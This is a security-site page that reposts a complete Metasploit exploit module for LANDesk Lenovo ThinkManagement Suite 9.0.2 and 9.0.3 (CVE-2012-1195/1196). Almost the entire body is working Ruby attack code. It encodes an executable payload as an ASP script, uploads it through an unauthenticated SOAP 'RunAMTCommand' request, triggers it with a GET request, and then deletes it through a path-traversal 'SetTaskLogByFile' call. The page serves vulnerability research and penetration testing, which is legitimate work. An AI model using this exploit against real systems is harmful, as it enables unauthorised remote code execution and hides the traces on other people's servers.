首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
LANDesk Lenovo ThinkManagement Console Remote Command Execution
来源:http://www.metasploit.com 作者:Micalizzi 发布时间:2012-04-09  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize
  super(
   'Name'        => 'LANDesk Lenovo ThinkManagement Console Remote Command Execution',
   'Description'    => %q{
     This module can be used to execute a payload on LANDesk Lenovo
    ThinkManagement Suite 9.0.2 and 9.0.3.

    The payload is uploaded as an ASP script by sending a specially crafted
    SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
    , via a "RunAMTCommand" operation with the command '-PutUpdateFileCore'
    as the argument.

    After execution, the ASP script with the payload is deleted by sending
    another specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx"
    via a "SetTaskLogByFile" operation.
   },
   'Author'      => [
    'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC
    'juan vazquez' # Metasploit module
   ],
   'Version'     => '$Revision: $',
   'Platform'    => 'win',
   'References'  =>
    [
     ['CVE', '2012-1195'],
     ['CVE', '2012-1196'],
     ['OSVDB', '79276'],
     ['OSVDB', '79277'],
     ['BID', '52023'],
     ['URL', 'http://www.exploit-db.com/exploits/18622/'],
     ['URL', 'http://www.exploit-db.com/exploits/18623/']
    ],
   'Targets'     =>
    [
     [ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2', { } ],
    ],
   'DefaultTarget'  => 0,
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 15 2012'
  )

  register_options(
   [
    OptString.new('PATH', [ true,  "The URI path of the LANDesk Lenovo ThinkManagement Console", '/'])
   ], self.class)
 end

 def exploit

  peer = "#{rhost}:#{rport}"

  # Generate the ASP containing the EXE containing the payload
  exe = generate_payload_exe
  asp = Msf::Util::EXE.to_exe_asp(exe)

  # htmlentities like encoding
  asp = asp.gsub("&", "&amp;").gsub("\"", "&quot;").gsub("'", "&#039;").gsub("<", "&lt;").gsub(">", "&gt;")

  uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/")
  upload_random = rand_text_alpha(rand(6) + 6)
  upload_xml_path = "ldlogon\\#{upload_random}.asp"

  soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <RunAMTCommand xmlns="http://tempuri.org/">
   <Command>-PutUpdateFileCore</Command>
   <Data1>#{rand_text_alpha(rand(4) + 4)}</Data1>
   <Data2>#{upload_xml_path}</Data2>
   <Data3>#{asp}</Data3>
   <ReturnString>#{rand_text_alpha(rand(4) + 4)}</ReturnString>
  </RunAMTCommand>
 </soap:Body>
</soap:Envelope>
  eos

  #
  # UPLOAD
  #
  attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
  print_status("#{peer} - Uploading #{asp.length} bytes through #{attack_url}...")

  res = send_request_cgi({
   'uri'          => attack_url,
   'method'       => 'POST',
   'ctype'        => 'text/xml; charset=utf-8',
   'headers' => {
     'SOAPAction'     => "\"http://tempuri.org/RunAMTCommand\"",
    },
   'data'         => soap,
  }, 20)

  if (! res)
   print_status("#{peer} - Timeout: Trying to execute the payload anyway")
  elsif (res.code < 200 or res.code >= 300)
   print_error("#{peer} - Upload failed on #{attack_url} [#{res.code} #{res.message}]")
   return
  end

  #
  # EXECUTE
  #
  upload_path = uri_path + "ldlogon/#{upload_random}.asp"
  print_status("#{peer} - Executing #{upload_path}...")

  res = send_request_cgi({
   'uri'          =>  upload_path,
   'method'       => 'GET'
  }, 20)

  if (! res)
   print_error("#{peer} - Execution failed on #{upload_path} [No Response]")
   return
  end

  if (res.code < 200 or res.code >= 300)
   print_error("#{peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
   return
  end


  #
  # DELETE
  #
  soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <SetTaskLogByFile xmlns="http://tempuri.org/">
   <computerIdn>1</computerIdn>
   <taskid>1</taskid>
   <filename>../#{upload_random}.asp</filename>
   </SetTaskLogByFile>
 </soap:Body>
</soap:Envelope>
  eos

  attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx"
  print_status("#{peer} - Deleting #{upload_path} through #{attack_url}...")

  res = send_request_cgi({
   'uri'          => attack_url,
   'method'       => 'POST',
   'ctype'        => 'text/xml; charset=utf-8',
   'headers'      => {
     'SOAPAction'     => "\"http://tempuri.org/SetTaskLogByFile\"",
    },
   'data'         => soap,
  }, 20)

  if (! res)
   print_error("#{peer} - Deletion failed at #{attack_url} [No Response]")
   return
  elsif (res.code < 200 or res.code >= 300)
   print_error("#{peer} - Deletion failed at #{attack_url} [#{res.code} #{res.message}]")
   return
  end

  handler
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Csound hetro File Handling Sta
·Liferay XSL Command Execution
·TRENDnet SecurView Internet Ca
·BulletProof FTP Client 2010 -
·Sony Bravia Remote Denial of S
·AnvSoft Any Video Converter 4.
·Quest vWorkspace 7.5 Connectio
·Distinct TFTP Server <= 3.01 D
·Quest Toad for Oracle Explain
·Play [EX] 2.1 Playlist File (M
·Mini-stream Ripper [.m3u] 3.1.
·CastRipper [.m3u] 2.9.6 stack
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved